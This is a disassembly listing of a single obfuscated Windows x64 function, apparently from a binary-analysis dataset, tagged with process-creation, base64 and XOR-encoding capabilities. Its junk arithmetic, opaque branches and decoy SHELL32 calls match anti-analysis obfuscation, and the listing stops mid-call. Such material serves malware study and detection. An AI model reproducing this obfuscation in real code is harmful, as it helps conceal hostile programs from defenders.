Function at 0x140001fe0
Capabilities:
Create process on windows
Encode data using base64
Encode data using xor

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x16c38
call fcn.1400fc740
sub rsp, rax
mov dword [rsp + 0x28ac], 0x49ff
mov dword [rsp + 0x28b0], 0x1068f
mov dword [rsp + 0x28b4], 0xecd9
mov eax, dword [rsp + 0x28ac]
mov dword [rsp + 0x28b8], eax
cmp dword [rsp + 0x28b8], 0x49ff
je 0x140002055
cmp dword [rsp + 0x28b8], 0x7764
je 0x1400fa7bd
jmp 0x1400fa890
movabs rax, 0x78ec1cb50040f6
mov qword [rsp + 0x4aa0], rax
lea rax, [rsp + 0x28bc]
mov qword [rsp + 0x4aa8], rax
mov dword [rsp + 0x28c0], 0x67f7
mov dword [rsp + 0x28c4], 0x6123
mov dword [rsp + 0x28c8], 0x7ca4
cmp dword [rsp + 0x28c8], 0x7ea2
je 0x14000249a
mov rax, qword [rsp + 0x4aa0]
shr rax, 0x2d
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
sub eax, 0x15da
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28ac]
add eax, 0x6abf
mov dword [rsp + 0x28ac], eax
mov eax, dword [rsp + 0x28ac]
and eax, 0x7849
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
add eax, 0x5f95
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28ac]
add eax, 0x51e7
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
sub eax, 0x9e88
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28ac]
xor eax, 0x60d8
mov dword [rsp + 0x28ac], eax
mov eax, dword [rsp + 0x28bc]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4ab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ab0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movabs rax, 0x7ab3471498ae80
mov rcx, qword [rsp + 0x4aa0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa0]
shr rax, 0x14
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28ac]
and eax, 0x169d
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
sub eax, 0x92e1
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
sub eax, 0xa14e
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
add eax, 0x4ca5
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28bc]
and eax, 0x20c8
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28ac]
sub eax, 0x3ed1
mov dword [rsp + 0x28ac], eax
movabs rax, 0x737b44295ba680
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
add eax, 0xc182
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4aa0]
shr rax, 0x1f
mov qword [rsp + 0x4aa0], rax
movabs rax, 0x7bfc4a99e4c2a0
mov rcx, qword [rsp + 0x4aa0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28ac]
or eax, 0x557d
mov dword [rsp + 0x28ac], eax
mov eax, dword [rsp + 0x28ac]
shl eax, 0x1b
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28c8]
add eax, 0xf
mov dword [rsp + 0x28c8], eax
mov eax, dword [rsp + 0x28bc]
add eax, 0xaffc
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movabs rax, 0x7c6062f18efb0e
mov rcx, qword [rsp + 0x4aa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
sub eax, 0xbec1
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28bc]
add eax, 0xd71d
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28bc]
sub eax, 0xee4a
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28ac]
and eax, 0x7be3
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
add eax, 0xe256
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
sub eax, 0x5c8d
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28bc]
add eax, 0x84dd
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
xor eax, 0xe3b0
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28bc]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4ab8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ab8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28bc]
shl eax, 0xd
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
jmp 0x140002098
mov eax, dword [rsp + 0x28bc]
or eax, 0x3282
mov rcx, qword [rsp + 0x4aa8]
cmp eax, dword [rcx]
jbe 0x140002578
lea rax, [rsp + 0x4aa0]
mov qword [rsp + 0x4ac0], rax
mov eax, dword [rsp + 0x28ac]
mov dword [rsp + 0x28cc], eax
mov dword [rsp + 0x28d0], 0x5815
movabs rax, 0x7843c52443ddd2
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28ac]
mov dword [rsp + 0x28d4], eax
cmp dword [rsp + 0x28d4], 0x792c
je 0x14000250e
jmp 0x140002578
lea rax, [rsp + 0x4aa0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ILCreateFromPathW
mov r9d, 0x8c
mov r8d, 1
mov edx, 0x9c
mov rcx, qword [rsp + 0x4ad0]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x28d8], eax
mov eax, dword [rsp + 0x28cc]
and eax, 0x1484
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4ac0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rax]
call fcn.1400fa910
nop
mov eax, dword [rsp + 0x28cc]
add eax, 0xaf7
mov dword [rsp + 0x28ac], eax
movabs rax, 0x7489015f06f3bc
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x28d8], eax
mov eax, dword [rsp + 0x28c4]
sub eax, 0x52
mov dword [rsp + 0x28c4], eax
movabs rax, 0x776b1d5fd8d48b
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movabs rax, 0x7343dd48b8e690
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28d8]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movabs rax, 0x71112f6b9a3805
mov rcx, qword [rsp + 0x4ac8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x28bc]
shr eax, cl
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x7e6d8a2208d066
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4aa0], rax
movabs rax, 0x744794ded9dd9f
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
cmp dword [rsp + 0x28c4], 0x51c3
ja 0x140002578
lea rax, [rsp + 0x4ac8]
mov qword [rsp + 0x4ae0], rax
cmp dword [rsp + 0x28b0], 0xee89
jbe 0x140002a3d
mov eax, dword [rsp + 0x28ac]
add eax, 0x15c4
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28b0]
sub eax, 0x52
mov dword [rsp + 0x28b0], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x7a945d7a3439a1
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
shr rax, 0x22
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28ac]
shl eax, 0x10
mov dword [rsp + 0x28cc], eax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x777298ea85ab8b
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x760f2333008ce8
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movabs rax, 0x7bc6e0e30b0c7c
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movabs rax, 0x79b8d4d81e1600
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
sub eax, 0x59c8
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
jmp 0x1400027a7
mov eax, dword [rsp + 0x28d8]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4ae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ae8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
sar rax, 0x12
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x74779244bcdbe0
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28ac]
add eax, 0x6879
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28cc]
and eax, 0x6beb
mov dword [rsp + 0x28ac], eax
mov eax, dword [rsp + 0x28cc]
sub eax, 0x1166
mov dword [rsp + 0x28ac], eax
mov eax, dword [rsp + 0x28cc]
add eax, 0x6f8d
mov dword [rsp + 0x28ac], eax
movabs rax, 0x757e1c1d3c4152
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
add eax, 0x7fa0
mov dword [rsp + 0x28cc], eax
movabs rax, 0x7ce595010f0f62
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28d8]
movzx ecx, al
mov eax, dword [rsp + 0x28bc]
shr eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movabs rax, 0x75a297cf673caa
mov rcx, qword [rsp + 0x4ac8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28cc]
shl eax, 4
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x745a4a2f39bf0d
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
add eax, 0x1e8e
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x752af784b78123
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28d0]
add eax, 0x2b
mov dword [rsp + 0x28d0], eax
mov eax, dword [rsp + 0x28cc]
and eax, 0x28da
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
cmp dword [rsp + 0x28d0], 0x6356
jbe 0x140002a3d
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x772d7cbe94639e
mov rax, qword [rax]
sub rax, rcx
cmp rax, qword [rsp + 0x4ac8]
jl 0x140002dcf
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x74327bebe95268
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4ac8]
mov qword [rsp + 0x4af0], rax
movabs rax, 0x768562df8c9bf2
cmp qword [rsp + 0x4af0], rax
je 0x140002d76
movabs rax, 0x793812a46b68a3
cmp qword [rsp + 0x4af0], rax
je 0x140002daf
jmp 0x140002dcf
mov eax, dword [rsp + 0x28ac]
shl eax, 0xaf
cmp eax, dword [rsp + 0x28cc]
jl 0x140002dad
mov eax, dword [rsp + 0x28d8]
mov dword [rsp + 0x20], eax
mov r9b, 0xd5
mov r8b, 0x47
mov rax, qword [rsp + 0x4ae0]
mov rdx, qword [rax]
mov cl, 0x23
call fcn.1400fbea0
nop
jmp 0x140002dcf
xor r8d, r8d
lea rdx, [rsp + 0x4ad0]
lea rcx, [rsp + 0x28ac]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x28dc], eax
mov eax, 0xa24
mov word [rsp + 0x858], ax
mov dword [rsp + 0x28e0], 0xcb66
mov dword [rsp + 0x28e4], 0x568f
mov dword [rsp + 0x28e8], 0xff40
mov byte [rsp + 0x50], 0x33
mov dword [rsp + 0x28ec], 0x73d1
movzx eax, word [rsp + 0x858]
mov dword [rsp + 0x28f0], eax
cmp dword [rsp + 0x28f0], 0x17d
je 0x140002e3f
cmp dword [rsp + 0x28f0], 0x763
je 0x140002ee7
jmp 0x140002f05
movzx eax, byte [rsp + 0x50]
sar eax, 6
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x50]
cmp eax, 0x61
je 0x140002ee5
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x28bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28ac]
xor eax, 0x12c7
cmp eax, dword [rsp + 0x28cc]
jle 0x140002ed0
movzx eax, byte [rsp + 0x50]
add eax, 0x12
mov byte [rsp + 0x50], al
movabs rax, 0x770375bf984b39
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
lea rcx, [rsp + 0x163c8]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x28f4], eax
jmp 0x140002ee5
movzx eax, word [rsp + 0x858]
sub eax, 0x3ea
mov word [rsp + 0x858], ax
jmp 0x140002f05
mov rdx, qword [rsp + 0x4af8]
mov rcx, qword [rsp + 0x4b00]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0x4b08], rax
mov dword [rsp + 0x28f8], 0x8202
mov dword [rsp + 0x28fc], 0x286e
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28e4]
add eax, 0xa4
mov dword [rsp + 0x28e4], eax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x7144f7a7a4d2dc
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x28ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x70233f6ca15311
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28cc]
mov dword [rsp + 0x28f4], eax
movzx eax, word [rsp + 0x858]
sub eax, 0x1dc
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x7e19d858ea0ba2
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4aa0], rax
movzx eax, byte [rsp + 0x50]
shl eax, 4
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x28cc]
movzx ecx, al
mov eax, dword [rsp + 0x28ac]
sar eax, cl
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x7c0a30fca810d5
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
movabs rax, 0x70c217a893ae2d
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x858]
add eax, 0x902
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
add eax, 0x41
mov byte [rsp + 0x50], al
movabs rax, 0x73ad05033c4ae4
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x7125730e63ee13
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4ac8]
shl rax, 0x28
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x4b10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b10]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x50]
xor eax, 0x43
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x50]
add eax, 0x85
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x50]
and eax, 0xf4
mov byte [rsp + 0x50], al
movabs rax, 0x730fecd69fc4ab
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movabs rax, 0x7c57e54814f564
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
movabs rcx, 0x7c9752ec3cc428
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x28ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
movzx eax, word [rsp + 0x858]
and eax, 0x709
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x28d8], eax
movzx eax, byte [rsp + 0x50]
shl eax, 3
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa0]
shr rax, 9
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x28ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x858]
and eax, 0xb02
mov word [rsp + 0x858], ax
movzx eax, byte [rsp + 0x50]
add eax, 0x8c
mov byte [rsp + 0x50], al
cmp dword [rsp + 0x28e4], 0x6a6b
jne 0x140002f1b
movzx eax, word [rsp + 0x858]
mov dword [rsp + 0x2900], eax
cmp dword [rsp + 0x2900], 0xea
je 0x1400033af
jmp 0x1400034a9
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x28d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
cmp eax, dword [rcx]
jae 0x140003447
movzx eax, word [rsp + 0x858]
sub eax, 0xe9c
mov word [rsp + 0x858], ax
mov rcx, qword [rsp + 0x4b18]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x2904], eax
movzx eax, word [rsp + 0x858]
add eax, 0xdca
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
jmp 0x1400034a4
mov rax, qword [rsp + 0x4ae0]
movabs rcx, 0x72405e753698e2
mov rax, qword [rax]
sub rax, rcx
cmp rax, qword [rsp + 0x4ac8]
jle 0x1400034a4
lea rax, [rsp + 0x4ae0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xc5
mov r9d, 0xc2
mov r8d, 0x9d
mov edx, 0xb7
